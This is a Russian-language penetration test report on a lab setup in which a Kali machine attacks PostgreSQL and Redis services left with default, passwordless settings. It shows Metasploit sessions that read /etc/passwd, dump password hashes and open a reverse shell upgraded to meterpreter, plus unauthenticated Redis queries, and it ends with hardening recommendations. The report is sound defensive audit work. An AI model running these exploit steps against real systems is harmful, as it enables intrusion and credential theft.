**Отчет о проведенном аудите (пентесте) приложения**

**Оглавление**

[**1. Вводная часть 3**](#_Toc1)

[**1.1 Для руководства 3**](#_Toc2)

[**1.2 Для технических специалистов 3**](#_Toc3)

[**2. Исследование и анализ 3**](#_Toc4)

[**2.1 Используемое ПО 3**](#_Toc5)

[**2.2 Техники 3**](#_Toc6)

[**2.3 Отчет по найденным уязвимостям 3**](#_Toc7)

[**3. Заключение и рекомендации 5**](#_Toc8)

# **Вводная часть**

Необходимо провести аудит и выявить наличие уязвимостей у веб-приложения.

## **Для руководства**

В ходе аудита был выявлен ряд критических уязвимостей, которые могут привести к модификации, недоступности или потере информации. Необходимо в кратчайшие сроки принять меры по устранению или принятию компенсирующих мер для нейтрализации выявленных уязвимостей

## **Для технических специалистов**

В ходе проведения аудита выявлены уязвимости с СУБД PostgreSQL и Redis. Данные уязвимости связаны с получением доступа, раскрытием идентификационных данных пользователей СУБД, удаленному исполнению произвольного кода на атакуемой системе.

# **Исследование и анализ**

## **2.1 Используемое ПО**

Для стенда применялось программное обеспечение Oracle VM VirtualBox.

Развёрнута локальная сеть (192.168.0.0/24), состоящая из двух операционных систем.

На ВМ с операционной системой Ubuntu, используя предоставленный  
docker-compose.yml. был поднят docker образ и запущено приложение, которое подверглось тестированию.

ВМ с операционной системой Kali Linux была использована для проведения тестирования (атаки).

## **2.2 Техники**

В ходе атаки были применены следующие инструменты: nmap для сканирования и сбора предварительной информации, hydra для перебора паролей, metasploit для атаки и пост эксплуатации уязвимостей.

Сканирование с помощью nmap:

nmap -sV -A -O -T4 -p0-65535 -oN TCP-port.txt <атакуемый IP>

В результате выявлены открытые порты и сервисы:

5432/tcp open postgresql PostgreSQL DB 9.6.4 - 9.6.6 or 9.6.13 - 9.6.19

6379/tcp open redis Redis key-value store 7.0.12

Брутфорс (перебор паролей) показал, что пользователь postgres имеет доверенный статус (trust) из любой сети, настройки конфигурации pg\_hba.conf. Пароль для подключения не потребовался. Также установив утилиту redis-tools, подключиться к БД Redis можно без пароля, так настройки «по умолчанию» в конфигурационном файле redis.conf позволяют подключиться к БД без учетных данных.

## **2.3 Отчет по найденным уязвимостям**

Основная уязвимость в том, что после установки баз данных PostgreSQL и Redis все настройки оставили во умолчанию. Не были изменены конфигурационные файлы, не заданы пароли и ограничения доступа, что позволило без использования учетных данных произвести подключение к БД и осуществить дальнейшие действия по эксплуатации уязвимостей.

Для поиска и эксплуатации уязвимостей в PostgreSQL использовалось metasploit.

1) Уязвимость, позволяющая осуществить чтение информации из файла **passwd** для получения информации о всех зарегистрированных пользователях. В последствии эти данные можно использовать для атаки на другие информационные системы. Также мы можем скачать все данные, таблицы БД.

msf6 auxiliary(admin/postgres/postgres\_readfile) > set RHOSTS 192.168.0.13

RHOSTS => 192.168.0.13

msf6 auxiliary(admin/postgres/postgres\_readfile) > set rfile /etc/passwd

rfile => /etc/passwd

msf6 auxiliary(admin/postgres/postgres\_readfile) > run

[\*] Running module against 192.168.0.13

Query Text: 'CREATE TEMP TABLE RGdAeAmJuPCLMc (INPUT TEXT);

COPY RGdAeAmJuPCLMc FROM '/etc/passwd';

SELECT \* FROM RGdAeAmJuPCLMc'

2) захват баннеров. С помощью данной уязвимости можно осуществить запрос к БД.

msf6 auxiliary(admin/postgres/postgres\_sql) > set rhosts 192.168.0.13

rhosts => 192.168.0.13

msf6 auxiliary(admin/postgres/postgres\_sql) > set password ""

password =>

msf6 auxiliary(admin/postgres/postgres\_sql) > run

[\*] Running module against 192.168.0.13

Query Text: 'select version()'

==============================

version

-------

PostgreSQL 9.6.15 on x86\_64-pc-linux-musl, compiled by gcc (Alpine 8.3.0) 8.3.0, 64-bit

[\*] Auxiliary module execution completed

3) Уязвимость, предоставляющая hash пароля, для последующей его расшифровки. Расшифровав хэши паролей, можно применить их для последующих атак.

sf6 auxiliary(scanner/postgres/postgres\_hashdump) > set rhosts 192.168.0.13

rhosts => 192.168.0.13

msf6 auxiliary(scanner/postgres/postgres\_hashdump) > run

[+] Query appears to have run successfully

[+] Postgres Server Hashes

======================

Username Hash

postgres md5e8a48653851e28c69d0506508fb27fc5

[\*] Scanned 1 of 1 hosts (100% complete)

[\*] Auxiliary module execution completed

4) Уязвимость используется для выполнения произвольных команд на атакуемой системе. После получения сессионного доступа можно изменять, копировать, удалять данные, осуществить получение привилегированного доступа (повышение привилегий) в системе, осуществить закрепление (постэксплуатация) в системе и оставить бэкдоры.

**Эксплуатация уязвимости:**

msf6 exploit(multi/postgres/postgres\_copy\_from\_program\_cmd\_exec) > set rhosts 192.168.0.13

rhosts => 192.168.0.13

msf6 exploit(multi/postgres/postgres\_copy\_from\_program\_cmd\_exec) > set password ""

password =>

msf6 exploit(multi/postgres/postgres\_copy\_from\_program\_cmd\_exec) > set lhost 192.168.0.20

lhost => 192.168.0.20

msf6 exploit(multi/postgres/postgres\_copy\_from\_program\_cmd\_exec) > run

[\*] Started reverse TCP handler on 192.168.0.20:4444

[\*] 192.168.0.13:5432 - 192.168.0.13:5432 - PostgreSQL 9.6.15 on x86\_64-pc-linux-musl, compiled by gcc (Alpine 8.3.0) 8.3.0, 64-bit

[\*] 192.168.0.13:5432 - Exploiting...

[+] 192.168.0.13:5432 - 192.168.0.13:5432 - 3LvolMSL8hZS dropped successfully

[+] 192.168.0.13:5432 - 192.168.0.13:5432 - 3LvolMSL8hZS created successfully

[+] 192.168.0.13:5432 - 192.168.0.13:5432 - 3LvolMSL8hZS copied successfully(valid syntax/command)

[+] 192.168.0.13:5432 - 192.168.0.13:5432 - 3LvolMSL8hZS dropped successfully(Cleaned)

[\*] 192.168.0.13:5432 - Exploit Succeeded

[\*] Command shell session 1 opened (192.168.0.20:4444 -> 192.168.0.13:45826) at 2023-07-27 04:16:01 -0400

**Создание сессий для удаленного управления:**

msf6 exploit(multi/postgres/postgres\_copy\_from\_program\_cmd\_exec) > sessions -u 1

[\*] Executing 'post/multi/manage/shell\_to\_meterpreter' on session(s): [1]

[\*] Upgrading session ID: 1

[\*] Starting exploit/multi/handler

[\*] Started reverse TCP handler on 192.168.0.20:4433

[\*] Sending stage (1017704 bytes) to 192.168.0.13

[\*] Meterpreter session 2 opened (192.168.0.20:4433 -> 192.168.0.13:51716) at 2023-07-27 04:19:19 -0400

[\*] Command stager progress: 100.00% (773/773 bytes)

msf6 exploit(multi/postgres/postgres\_copy\_from\_program\_cmd\_exec) > sessions 2

[\*] Starting interaction with 2...

meterpreter >

Для поиска и эксплуатации уязвимостей в Redis использовался redis-tools

Dumping Database:

192.168.0.11:6379> INFO keyspace

# Keyspace

db0:keys=1,expires=0,avg\_ttl=0

Получение конфигурации:

192.168.0.11:6379> INFO

redis\_version:7.0.12

redis\_git\_sha1:00000000

redis\_git\_dirty:0

redis\_build\_id:8547ca08f5196808

redis\_mode:standalone

os:Linux 6.3.0-kali1-amd64 x86\_64

arch\_bits:64

monotonic\_clock:POSIX clock\_gettime

multiplexing\_api:epoll

atomicvar\_api:c11-builtin

gcc\_version:12.2.1

process\_id:1

process\_supervised:no

run\_id:cbb366e3190521e435723994bc9ff7fc9643b235

tcp\_port:6379

….

# **Заключение и рекомендации**

Выявленные уязвимости можно предотвратить на стадии проектирования и настройки приложения. Выделить БД в отдельную подсеть, доступ к которой будет строго регламентирован.

После установки PostgreSQL и Redis не оставлять «настройки по умолчанию», внести изменения в конфигурационные файлы в соответствии с требованиями информационной безопасности:

* в настройках файла pg\_hba.conf (PostgreSQL) исключить возможность доверенного соединения, ограничить подсети с которых можно осуществить подключения к БД.
* в настройках файла redis.conf (Redis) установить пароль для пользователей БД, ограничить подсети с которых Redis должен принимать запросы.

Осуществлять подключение с использованием пароля, добавить пользователей с разграничением ролей (администраторы, операторы, аудиторы), в идеале с использованием сертификата и пароля.

В результате анализа приложения разработчику рекомендовано учесть в работе рекомендации стандарта PCI DSS, такие как системы в которых храниться, обрабатывается конфиденциальная информация выделить в отдельные сети, усилить аутентификацию пользователей при подключении к БД. CIS PostgreSQL Benchmarks

После установки PostgreSQL и Redis не оставлять «настройки по умолчанию», внести изменения в конфигурационные файлы в соответствии с требованиями информационной безопасности.